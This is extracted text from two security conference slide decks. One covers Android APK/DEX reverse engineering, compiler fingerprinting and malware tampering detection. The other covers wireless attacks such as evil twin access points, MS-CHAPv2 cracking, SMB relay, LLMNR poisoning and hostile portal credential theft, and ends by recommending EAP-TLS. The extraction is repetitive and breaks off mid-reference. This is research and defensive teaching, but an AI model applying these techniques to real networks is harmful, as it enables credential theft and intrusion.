 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Used by normal devs Used by “abnormal” devs
 - Security tools - “injection” tools Almost all used for post-compilation modification Android Manifest
 Compiled AndroidXML
 Created by:
 aapt axmlprinter2 (new ver)
 apktool (axmlprinter2 mod)
 random Python scripts application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * All of these things are “interesting”
 depending on how you look at it…
 New malware?
 New security tool (ab)using the system?
 Play Store APKs look different than in the wild binaries? Who is using what? AXML OPEN SOURCE CYCLE  •Was the standard which people found
 breakages in
 •Code used by APKTool (licenses appear stripped)
 •JEB imported APKTool (seen in licenses)
 •JEB author back ported fixed into APKTool
 •Library to break them all! (until jeb2) AXMLPrinter2 is a very, very old project with bugs… Who is using what? AXML OPEN SOURCE CYCLE  •Was the standard which people found
 breakages in
 •Code used by APKTool (licenses appear stripped)
 •JEB imported APKTool (seen in licenses)
 •JEB author back ported fixed into APKTool
 •Library to break them all! (until jeb2) AXMLPrinter2 is a very, very old project with bugs… FOSS remake released;
 https://github.com/rednaga/axmlprinter ~85% TCC
 Allows reading / writing AXML
 Avoids previous breakages
 Can be used to detect these changes application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates All open sourced tools androguard used by VT
 (acquired by Google)
 smali creator/maintainer now
 works at Google, used in
 AOSP
 enjarify made by Google
 dex2jar creator/maintainer
 works(ed?) at Trend radare creator/maintainer
 works at NowSecure application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates apktool used original
 axmlprinter2 code, now
 mostly refactored out
 jeb (maybe jeb2?) originally
 used apktool for resource
 parsing and back ported
 patches for resources which
 broke the non-free tool application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Contains or is a disassembler
 which can provide a more
 direct translation to what the
 Android VM will see.
 Usually requires learning simple
 Jasmin like language syntax. Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Contains or is a decompiler
 which will attempt to translate
 actual code to (usually) Java
 code.
 Can allow leveraging usual
 Java tools and code review
 style of reverse engineering. Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Scriptable or accessible
 via an APIs to allow plugins or
 potential automation. Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Easy to understand hex viewer
 with FOSS templates for Dalvik.
 Excellent for determining
 forensic differences between
 files, looking for “oddities”, etc. Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * “Official” / standard tools included in the Android SDK
 dx compiles Java .class to .dex
 dexmerge combines .dex files and is used by some IDEs for “incremental builds” Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Reverse with: smali / apktool IDA Pro
 jeb / jeb2 androguard
 enjarify
 dex2jar + jad/jd jadx radare
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Dalvik Executable Compiled classes for
 DVM
 Contains executable
 Dalvik code
 Optimized on install to:
 ODEX for DVM runtime
 OAT for ART runtime Created with: dexmerge
 dx smali (dexlib1/2/2beta)
 apktool (dexlib) Used by everything else, post compilation modification.
 Sec tools / injections / etc REDNAGA COMPILER FINGERPRINTING diff / caleb AXML FILES • Normal tools create AXML file in a simple order • AXML files don’t need to be in a specific order • Most tools append new structures to the file Relatively Simplistic… AXML FILES  AndroidManifest.xml Header Package Name
 Version String
 Version Code Uses SDK Min version Max version Permissions alphabetical order Application alphabetical order Activities Services alphabetical order alphabetical order Normal Files AXML FILES  AndroidManifest.xml Header Package Name
 Version String
 Version Code Uses SDK Min version Max version Permissions alphabetical order Application alphabetical order Activities Services alphabetical order alphabetical order Permissions etc Orders mismatch Abnormal Files AXML FILES Normal Files AXML FILES Normal Files Spacing between characters Due to this flag (in spec) AXML FILES Abnormal files which broke old AXMLPrinter2 lib No spacing between characters Due to this flag (in spec) This was back ported from JEB to APKTOOL… AXML FILES Protectors / Anti* tricks AXML FILES Protectors / Anti* tricks Expects certain values to
 be present AXML FILES Protectors / Anti* tricks Tools expected name tags Originally found by dexguard,
 didn’t work on all Android versions
 Replicated by malware AXML FILES APKTOOL Specifics… easy, easy AXML FILES APKTOOL Specifics… easy, easy Uhhh, thanks? DEX FILES • DEX format is … flexible • Only a few different compilers • Slight variations between each one • Obfuscators do really weird stuff too INVESTIGATION • Built lots of DEX files with different tools • Compared files with 010Editor • Found some differences but wanted to know all of them • Read DEX format specification • Gave up since it doesn’t include enough detail • Very carefully read the source code • Found many fingerprintable “characteristics” CHARACTERISTICS 1. Class interfaces 2. Class paths 3. Endian tag 4. Header size 5. Link section 6. String sorting 7. Map type order 8. Section contiguity These may be abnormal… ABNORMAL_CLASS_INTERFACES Implies: early dexlib 2.x (smali) If class has no interface, dx uses interfaces_off = 0 dexlib gives offset to address with null bytes (10156 is null) ABNORMAL_CLASS_PATH Implies: anti-decompiler Invalid Windows filenames: CON, PRN, AUX, CLOCK$, NUL COM1, COM2, COM3, COM4 LPT1, LPT2, LPT3, LPT4 Decompilers output filenames based on class name ABNORMAL_CLASS_PATH Implies: anti-decompiler “com.maxmpz.audioplayer.data.ÑLKwlekljkj5w3lkjkljkJlOWE IMmNWHEHKSPIJLNWLHNWLHJDKWPWISJNNNHBHWKE WYHEYWPWWKELWJEKWEWNELWJEJHWELKWEWUEWIE KWLRJFKWNENWKJEJKWHEKWJEJHWKEWJHRKLWHJEK WJEJHWJEHWHEKWEHWHEHjehhwkjrhwerwnbewnrwemn rwkjh5n4m4mwn54mnkhjJNdenrrrr3453nmNMEWERTENR NERMERJEJRNNWKJEWNEWWKEJWEЯ” Looks legit! Class name used for filename! Too long for Windows Most Linux file systems have no limit NTFS limited to 255 characters per part ABNORMAL_ENDIAN_MAGIC Implies: weird, shouldn’t run on any Android device Big Endian (Weird) Little Endian (Normal) ABNORMAL_HEADER_SIZE Implies: weird, possibly hiding data after header before string table header_size normally 0x70 (112) bytes ABNORMAL_LINK_SECTION Implies: anti-decompiler link_offset and size always 0 in DEX files ABNORMAL_STRING_SORT Implies: dexlib 1.x Normal Abnormal string[0] starts @2162 string[1] starts immediately after string[0] string[1] starts way after string[0] 2234 + len(“<init>”) != 3427 ABNORMAL_TYPE_ORDER dx Map Item Order 1. HEADER_ITEM 2. STRING_ID_ITEM 3. TYPE_ID_ITEM 4. PROTO_ID_ITEM 5. FIELD_ID_ITEM 6. METHOD_ID_ITEM 7. CLASS_DEF_ITEM 8. ANNOTATION_SET_REF_LIST 9. ANNOTATION_SET_ITEM 10. CODE_ITEM 11. ANNOTATIONS_DIRECTORY_ITEM 12. TYPE_LIST 13. STRING_DATA_ITEM 14. DEBUG_INFO_ITEM 15. ANNOTATION_ITEM 16. ENCODED_ARRAY_ITEM 17. CLASS_DATA_ITEM 18. MAP_LIST dexmerge Map Item Order 1. HEADER_ITEM 2. STRING_ID_ITEM 3. TYPE_ID_ITEM 4. PROTO_ID_ITEM 5. FIELD_ID_ITEM 6. METHOD_ID_ITEM 7. CLASS_DEF_ITEM 8. MAP_LIST 9. TYPE_LIST 10. ANNOTATION_SET_REF_LIST 11. ANNOTATION_SET_ITEM 12. CLASS_DATA_ITEM 13. CODE_ITEM 14. STRING_DATA_ITEM 15. DEBUG_INFO_ITEM 16. ANNOTATION_ITEM 17. ENCODED_ARRAY_ITEM 18. ANNOTATIONS_DIRECTORY_ITEM Implies: something other than dx or dexmerge not made with dx or dexmerge, probably dexlib because TYPE_STRING_DATA_ITEM comes after TYPE_CLASS_DEF_ITEM NON_CONTIGUOUS_SECTION Implies: weird, maybe dexmerge proto_ids should come after type_ids type_id_item size = 4 bytes type_ids_size * 4 = 244 type_ids_off + 244 = 8028 proto_ids actually starts 12124! weird! REDNAGA MALWARE AND PIRACY DETECTION caleb Three main compilers: THE QUESTION 1. dx 2. dexmerge 3. smali (dexlib) Java .class files (source code) Not used manually, only by IDEs (source code) DEX files (not source code) Why would a legitimate developer ever need to use smali? They have the source. • If app compiled with dexlib, probably tampered • If tampered, probably was not the developer • Tampered apps are likely either: •  pirated / cracked •  malware  THE HYPOTHESIS ∴ app is tampered -> app is interesting  🐛 SAMPLE SET • 20,000 APKs from each market • Top Play Apps, Aptoide, BlapkMarket, etc. • 10,000 highest scoring “fraudulent” apps • Scored by experimental statical model • Fraud may just mean modified XML (not DEX) • Up to 10 APKs per variant of all malware families THE METHOD • Scanned the DEX of each APK • Did not scan AXML files • Tampered means: • abnormal string sort, class path, type order • Weird means: • abnormal endian magic, header size, type descriptor, class path RESULTS: SOURCE TAMPERING 32% 15% 12% 20% 15.5% 4% Other RESULTS: MALWARE TAMPERING • 756 malware families (many variants each) • 17508 malicious APKs • 50% families have some tampering • 50% families have no tampering • 85 families are 100% tampered • Each family has a tampering profile 100% TAMPERED FAMILIES AdultFreedom Alsalah AncientSMSThief AppleService AvariceYY BadSerial BadSub Badaccents BankMirage Bgserv BiggBoss CastilStyle CataChar CnSky CoinKrypt DeCerTasks DidStall DirtyAir DoubleZero EasyPine EdeFraud EmmentalCrupt ErrthangSms Euroxbox ExplicitHorse FadeSMS FakeActivate FakeKakao FastUninstallRepackaged FineFocusAds FlaccidForest GauerCloud Geinimi GoGuangGo Gone60 ImAdPush KHSms Kakabet KhpowSms KrabBot Krysanec LidLocker LoveMii MMarketPay MaClickFraud MirvspySMS MixedSmoke MmsMore MocheYY Moghava Obad OccupyYourPrivacy PVAFraud PhoXinhSms PicSysCom PirateShame PlusTV PopTest RootSmart RuSms Samsapo SandroRat SimpleTemai SixPointFourSMS SlyInstall SmsMonitur SneakyBeeSMS Stask Stoqx StorgeSMS SwfScam SwiftLogger Taotobo Tornika UniversalAndrootRepackaged VDLoader Vchargelet VideoBoss VservSubscription WinAdOffers WrongPath XSider Xybot YobaSMS ZxtdPay GoYear.a GoYear.b GoYear.c GoYear.d GoYear.f GoYear.g GoYear.h GoYear.i GoYear.j GoYear.k GoYear.l GoYear.m GoYear.n GoYear.o GoYear.p GoYear.r GoYear.s GoYear.t GoYear.u GoYear.v GoYear.w GoYear.x GoYear.y GoYear.z 0.0 2.5 5.0 7.5 10.0 Count Source Status normal tampered AlphaSMS.a AlphaSMS.aa AlphaSMS.ab AlphaSMS.ac AlphaSMS.ad AlphaSMS.ae AlphaSMS.af AlphaSMS.ag AlphaSMS.ah AlphaSMS.ai AlphaSMS.aj AlphaSMS.ak AlphaSMS.al AlphaSMS.am AlphaSMS.an AlphaSMS.ao AlphaSMS.ap AlphaSMS.aq AlphaSMS.ar AlphaSMS.as AlphaSMS.at AlphaSMS.au AlphaSMS.av AlphaSMS.aw AlphaSMS.ax AlphaSMS.ay AlphaSMS.az AlphaSMS.b AlphaSMS.ba AlphaSMS.bb AlphaSMS.bc AlphaSMS.bd AlphaSMS.be AlphaSMS.bf AlphaSMS.bg AlphaSMS.bh AlphaSMS.bi AlphaSMS.bj AlphaSMS.bk AlphaSMS.bl AlphaSMS.bm AlphaSMS.bn AlphaSMS.bo AlphaSMS.bp AlphaSMS.bq AlphaSMS.br AlphaSMS.bs AlphaSMS.bt AlphaSMS.bu AlphaSMS.bv AlphaSMS.bw AlphaSMS.bx AlphaSMS.by AlphaSMS.bz AlphaSMS.c AlphaSMS.ca AlphaSMS.cb AlphaSMS.cc AlphaSMS.cd AlphaSMS.ce AlphaSMS.cf AlphaSMS.cg AlphaSMS.ci AlphaSMS.cj AlphaSMS.ck AlphaSMS.cl AlphaSMS.cm AlphaSMS.cn AlphaSMS.co AlphaSMS.cp AlphaSMS.cq AlphaSMS.cr AlphaSMS.cs AlphaSMS.ct AlphaSMS.d AlphaSMS.e AlphaSMS.f AlphaSMS.g AlphaSMS.h AlphaSMS.i AlphaSMS.j AlphaSMS.k AlphaSMS.l AlphaSMS.m AlphaSMS.n AlphaSMS.o AlphaSMS.p AlphaSMS.q AlphaSMS.r AlphaSMS.s AlphaSMS.u AlphaSMS.v AlphaSMS.w AlphaSMS.x AlphaSMS.y AlphaSMS.z 0.0 2.5 5.0 7.5 10.0 Count Source Status normal tampered weird AndroRat.a AndroRat.b AndroRat.c AndroRat.d 0.0 2.5 5.0 7.5 10.0 Count Source Status normal tampered CONCLUSION • Few legitimate apps are tampered • Tampering good signal for malware / piracy • Better able to understand malware family evolution REDNAGA APKID DEMO REDNAGA EXTENDED READING https://github.com/rednaga/training http://www.strazzere.com/papers/DexEducation-PracticingSafeDex.pdf https://github.com/strazzere/anti-emulator/tree/master/slides https://github.com/strazzere/android-unpacker/blob/master/AHPL0.pdf http://www.droidsec.org/wiki/#whitepapers http://calebfenton.github.io/ http://androidcracking.blogspot.com/ REDNAGA 07.22.2016 THANKS! HITCON COMMUNITY Join use on Freenode on #droidsec and #rednaga Good people to follow on Twitter for
 Android /reversing /malware / hacking information: @_jsoo_ @droidsec @jcase @marcwrogers @moong1ider @msolnik @osxreverser @PatrickMcCanna @rotlogix @snare @tamakikusu @trimosx
 #MalwareMustDie TIM “DIFF” STRAZZERE
 @TIMSTRAZZ CALEB FENTON @CALEB_FENTON Special Thanks for Jacob Soo and Mikachu for all your assistance!
pdf
The Black Art of Wireless Post-Exploitation: Bypassing Port-Based Access Controls Using Indirect Wireless Pivots DEF CON Gabriel “solstice” Ryan net user author /domain Gabriel Ryan Security Engineer @ Gotham Digital Science Appsec | Infrastructure Testing | Red Team | Research @s0lst1c3 gryan@gdssecurity.com labs@gdssecurity.com New in this presentation: Hostile Portal Attacks: § Steal Active Directory creds from WPA2-EAP networks without network access Indirect Wireless Pivots: § Use Rogue AP attacks to bypass port-based access control mechanisms WPA2-EAP Wireless Theory: Evil Twin Attacks Rogue access point attacks: § Bread and butter of modern wireless penetration tests § Stealthy MITM attacks § Steal RADIUS credentials § Captive portals Evolution of Rogue Access Point Attacks 2002 - Evil Twin attacks documented in “Wireless LAN Security FAQ” - C. W. Klaus [1] 2003 – asleap - Joshua Wright [2] 2004 - Karma Attacks - Dino Dai Zovi and Shane Macaulay [3] 2008 - Freeradius-wpe - Joshua Wright and Brad Antoniewitz [4] 2014 - Improved Karma Attacks (Mana) - Dominic White and Ian de Villiers [5] 2017 – Lure10 Attacks – George Chatzisofroniou [30] Evolution of Rogue Access Point Attacks Rogue AP attacks primarily used to fill two roles: 1. MITM attacks (stealing creds) 2. Breaching WPA/WPA2 networks (gaining access to WLAN) In this talk: rogue AP attacks as a means of lateral movement. Evil Twin Attacks Against WPA2-EAP WPA2-EAP Logically: § Authentication occurs between supplicant and authentication server [6][7][8] Wireless Theory: EAP Without secure tunnel, auth process can be sniffed: § Attacker sniffs challenge and response then derives password offline § Legacy implementations of EAP susceptible to this (i.e. EAP-MD5… eapmd5hash by Joshua Wright in 2008 [13]) The attack: § freeradius-wpe by Brad Antoniewicz in 2008 [4] § Force supplicant to authenticate with attacker using evil twin attack [4] Cracking MS-CHAPv2 Dictionary Attack: § success rate inversely proportional to strength of the password [31] MS-CHAPv2 Divide and Conquer Attack (Moxie Marlinspike and David Hulton, 2012): § MS-CHAPv2 uses same 56-bit DES encryption as NTLMv1 [31] [32] § Security reducible to the strength of a single DES encryption [31] [32] § Goal: recover NT hash rather than plaintext password [31] § 100% success rate in less than 24 hours when using an FPGA cracking rig such as Crack.sh (previously Cloudcracker) [33] Solution: EAP-TLS § Introduced in 2008 (wow!) by RFC 5216 [10] § Mutual authentication using x.509 certifications a requirement for most implementations [10] § Strength lies in the use of client-side certificates Poor adoption rate: § Wildly unpopular [11] § Client-side certs make EAP-TLS seem considerably more difficult to integrate into existing network architecture (more on this later) § Classic security vs. convenience scenario Security vs. Convenience Network administrators forced to choose between: § authentication mechanisms with known weaknesses OR § a highly secure yet seemingly impractical authentication mechanism Market Gap Market gap created for products that meet the following requirements: § can be used to compensate for the security issues found in EAP-PEAP/EAP-TTLS § are easy to use The “solution”: The current trend: § Focus on breach containment, rather than breach prevention Containment vs. Prevention Does this actually work? Classic WLAN Access Control Mechanisms Using NACs For WLAN Breach Containment Network Access Control (NAC) Mechanisms: § One of the most popular methods of containing wireless breaches § Distinguish between authorized and unauthorized network endpoints [12] Using NACs For WLAN Breach Containment 1. New endpoint is added to the wireless network 2. NAC identifies whether new endpoint is authorized or unauthorized device 3. If unauthorized, placed in quarantine VLAN Two varieties of NAC: § Agent-based [12] § Agentless [12] Agent-based NACs: § Software component installed on authorized endpoints [12] § Agents communicate with “brain” of NAC [12] § Highly effective § Nearly as impractical as EAP-TLS Agentless NACs: § Passive fingerprinting [12] § Active scanning [12] § Easier to deploy than agent-based NACs [12] § Unable to examine internals of network components [12] § Can be bypassed by masquerading as an authorized device [12] Recurring dilemma: insecurity vs. impracticality Yet another market gap: High demand for a solution that offers the deep interrogation capabilities of an agent-based NAC, but without the additional overhead. [13] Next Generation NACs: The Best Of Both Worlds? § Uses WMI to interrogate new devices [14] § Capable of performing internal checks without the use of an agent § Authenticates over SMB using a single administrative service account [14] § Service account given remote login privileges to all authorized devices at the Group Policy level [14] § Allows aaaaaaaaa to perform deep interrogations without the use of an agent [14] [NOPE] Single Point of Failure § Attempts to authenticate with any new endpoint placed on the network using special service account [14] § Service account has access to nearly everything on the network … i.e. - Godmode hashes sent to any new device that is added to the network. Background Info: SMB Relay Attacks SMB Relay Attacks NTLM is a simple authentication protocol: § challenge/response mechanism… remember EAP-PEAP? ;) SMB Relay Attacks NTLM authentication process: 1. Client attempts to authenticate 2. Server issues challenge to client (string of characters) 3. Client encrypts the challenge using its password hash (uh oh) 4. Client sends encrypted challenge back to server as response 5. Server decrypts response using same password hash (oh no) 6. If decrypted response === challenge, then auth attempt succeeds SMB Relay Attacks SMB Relay Attack: 1. Attacker uses MITM or similar to intercept/view NTLM traffic 2. Attacker waits for client to authenticate using NTLM 3. Auth attempt relayed by the attacker to the target server 4. Target server sends challenge back to attacker, which is relayed to client 5. Client response is relayed back to target server 6. Attacker is authenticated with server Risks: SMB Relay Attacks § SMB signing disabled by default on everything but the domain controller (Group Policy is downloaded over SMB) [15] § No MITM required: the NAC appliance is trying to authentication with you SMB Signing § The SMB Relay issue can be mitigated by digitally signing packets § SMB Signing: digitally signing packets to confirm their authenticity § Does not address the issue of hashes being sent directly to untrusted endpoints § Can be installed to remediate this issue § Is essentially a form of agent § aaaaaaaaa chief selling point is that no agent is required [NOPE] No magic bullet § “Security With Convenience” – this is a paradox What about Client Isolation? Wireless Client Isolation § Prevents wireless clients from communicating with each other § Often used as a security control § Typical use case: open networks [16] How 802.11 Is Supposed To Work: § AP mediates all communication on network [16] § In theory, client isolation would work [16] [16] The Problem: § Client isolation is a logical control, not a physical control § The problem: “how do you prevent radio transceivers from communicating with one another?” [16] § Cedric Blancher in 2005: You can’t. [17] Introducing Wifitap: § First released by the late Cedric Blancher in 2005 [17] § Revived by Oliver Lavery of Gotham Digital Science in 2013 [16] Introducing Wifitap: § Reads packets from victim to AP using WiFi interface in monitor mode [16] § Injects responses to those packets as if they came from the AP [16] Introducing Wifitap: how it works § Bridges a Linux tun/tap device with a WiFi interface in monitor mode [16] § To interact with network, you interact with the tun/tap interface [16] § Allows you to communicate directly with wireless clients without associating with the AP [16] Later tools (that do even more stuff): Aircrack Suite: § airtun-ng (supports WEP) [18] § tkiptun-ng (supports WPA1) [19] Theoretical Attacks: Considerable debate as to whether these actually work. Worth mentioning for the lulz. § Hole 196 [16] Food for thought What if we’re missing the point? NAC Isn’t The Only Problem The role of NAC in containing WLAN breaches: § Used to prevent attackers from accessing sensitive resources after breach occurs NAC Isn’t The Only Problem When an unauthorized endpoint is detected, one of two actions is typically taken: § Endpoint is placed in quarantine § Port is blocked The role of NAC in a wireless environment: Violating access control policies causes the NAC to impose a restriction: § In a wired network, this is a physical restriction § In a wireless network, this can only be a logical restriction More on this later… The Scenario § We are attacking a WLAN that is used to access sensitive resources § We have already breached the perimeter How do we get out? Review: LLMNR/NBT-NS Poisoning LLMNR/NBT-NS Poisoning NetBIOS name resolution [20][21]: 1. Check local cache 2. Check LMHosts file 3. DNS lookup using local nameservers 4. LLMNR broadcast to entire subnet 5. NBT-NS broadcast to entire subnet LLMNR/NBT-NS Poisoning LLMNR/NBT-NS [22]: Different mechanisms, but same logical functionality Best understood through example LLMNR/NBT-NS Poisoning Two Windows computers named Alice and Leeroy [23]: 1. Alice wants to request file from Leeroy, but does not know Leeroy’s IP 2. Alice attempts to resolve Leeroy’s name locally and using DNS, but fails 3. Alice makes broadcast requests using LLMNR/NBT-NS 4. Every computer on Alice’s subnet receives request 5. Honor system: only Leeroy responds LLMNR/NBT-NS Poisoning No honor among thieves [23]: 1. If Alice receives two responses, first one is considered valid 2. Creates race condition 3. Attacker waits for LLMNR/NBT-NS queries, responds to all of them 4. Victim sends traffic to the attacker Review: Redirect to SMB Redirect to SMB § The idea is to force the victim to visit an HTTP endpoint that redirects to an SMB share on attacker’s machine, triggering NTLM authentication § Variation: redirect to non-existent SMB share, triggering LLMNR/NBT-NS [24] § Fast way to get hashes § Requires social engineering Hostile Portal Attacks Steal Active Directory creds from wireless network without network access. Captive Portal § Used to restrict access to an open WiFi-network Captive Portal § All DNS queries resolved to captive portal § All DNS traffic redirected to captive portal (optional) § All HTTP traffic redirected to captive portal (optional) Hostile Portal Attack § Based on Redirect to SMB Attack § Victim forced to connect to attacker using Rogue AP attack § All HTTP traffic redirected to SMB share on attacker’s machine instead of a captive portal attack § All LLMNR/NBT-NS lookups are poisoned DEMO WPA-EAP networks: In most cases, this means EAP-TTLS or EAP-PEAP. § Both use MS-CHAPv2 as the inner authentication method. § Mutual authentication: the RADIUS server must prove knowledge of the supplicant’s password for inner authentication to succeed [29] WPA-EAP networks: What this means: § Although the attacker can force the victim to authenticate with an evil twin to steal hashes, the attacker’s RADIUS server will fail the final stage of the authentication process and the client will not associate with the attacker [29]. Solution: Crack credentials offline: 1. Weak RADIUS Passwords: Use auto crack ‘n add technique (Dominic White & Ian de Villiers in 2014) [5] 2. Strong RADIUS Passwords: Crack offline, finish attack later Auto Crack ‘N Add (Dominic White & Ian de Villiers) Second Option: Crack offline, Pwn later No caveats other than time. § Dictionary attack: lifecycle of the attack now takes place over the course of a week, rather than an hour. § Divide and Conquer: 24 hours max when using FPGA based hardware, 100% success rate DEMO What this gets you: lots and lots of NTLM hashes Similar results to LLMNR/NBT-NS poisoning, but with a few key advantages: § No network access required § Not limited to a local subnet (you get everything that is connected to wireless) § Not a passive attack Back to our scenario... Indirect Wireless Pivots Use Rogue Access Point attacks to bypass port-based access control mechanisms Hashes cracked offline… Better approach: SMB Relay DEMO Indirect Wireless Pivots: Equivalent technique in a wired network: § Unplugging an authorized device from the wall and connecting it to a hostile network on which it can be attacked. Indirect Wireless Pivots: § Port-based access controls rely on the assumption that the physical layer can be trusted § In a wireless network, WPA2-EAP is the means through which the integrity of the physical layer is protected § When weak forms of WPA2-EAP are used, the attacker can freely control the physical layer using rogue access point attacks, rendering port-based NAC mechanisms useless Indirect Wireless Pivots: § Demonstrates that port-based NAC mechanisms do not effectively mitigate the risk presented by weak WPA2-EAP implementations Indirect Wireless Pivots: § Demonstrates that adding port-based NAC mechanisms to a wireless network does not make the use of EAP-TTLS and EAP-PEAP any less inappropriate if the network in question is used to grant access to sensitive information § I.e. PCI or HIPAA data (compliant != secure !!!!) A Case For EAP-TLS: It’s not as bad as it used to be. § Use Group Policy to configure 802.1x clients [26] Best option: § Use a private CA § Leverage Active Directory to deploy EAP-TLS § Distribute the server cert to clients using a solid MDM or BYOD onboarding solution [27] A Case For EAP-TLS: You can even use Let’s Encrypt: § Note: even the folks at Let’s Encrypt state that this is far from the best option out there [27] Closing thoughts: § Just because wireless and wired networks operate similarly at the logical level, does not mean that they work the same way at the physical level § As a community, we should question whether it is truly a sound business decision to neglect EAP-TLS in favor of a more reactive approach that focuses on access control and threat containment. § The needs for convenience and security are often at odds with one another. Maintain a healthy skepticism towards proposed solutions that promise both. github.com/s0lst1c3/eaphammer References: [1] http://dl.acm.org/citation.cfm?id=1360099 [2] http://asleap.sourceforge.net/asleap-defcon.pdf [3] http://theta44.org/karma/aawns.pdf [4] http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_Wright_Antoniewicz. pdf [5] https://defcon.org/images/defcon-22/dc-22-presentations/White-deVilliers/DEFCON-22- Dominic-White-Ian-de-Villiers-Manna-from-Heaven-Detailed-UPDATED.pdf References: [6] https://tools.ietf.org/html/rfc3579 [7] https://tools.ietf.org/html/rfc4017 [8] https://tools.ietf.org/html/rfc5281 [9] http://www.willhackforsushi.com/?page_id=67 [10] https://tools.ietf.org/html/rfc5216 References: [11] https://4310b1a9-a-93739578-s- sites.googlegroups.com/a/riosec.com/home/articles/Open-Secure-Wireless/Open-Secure- Wireless.pdf?attachauth=ANoY7cp3gqgS8JIZY9jdvVoc0DQu7i16aoRTm6icHP- 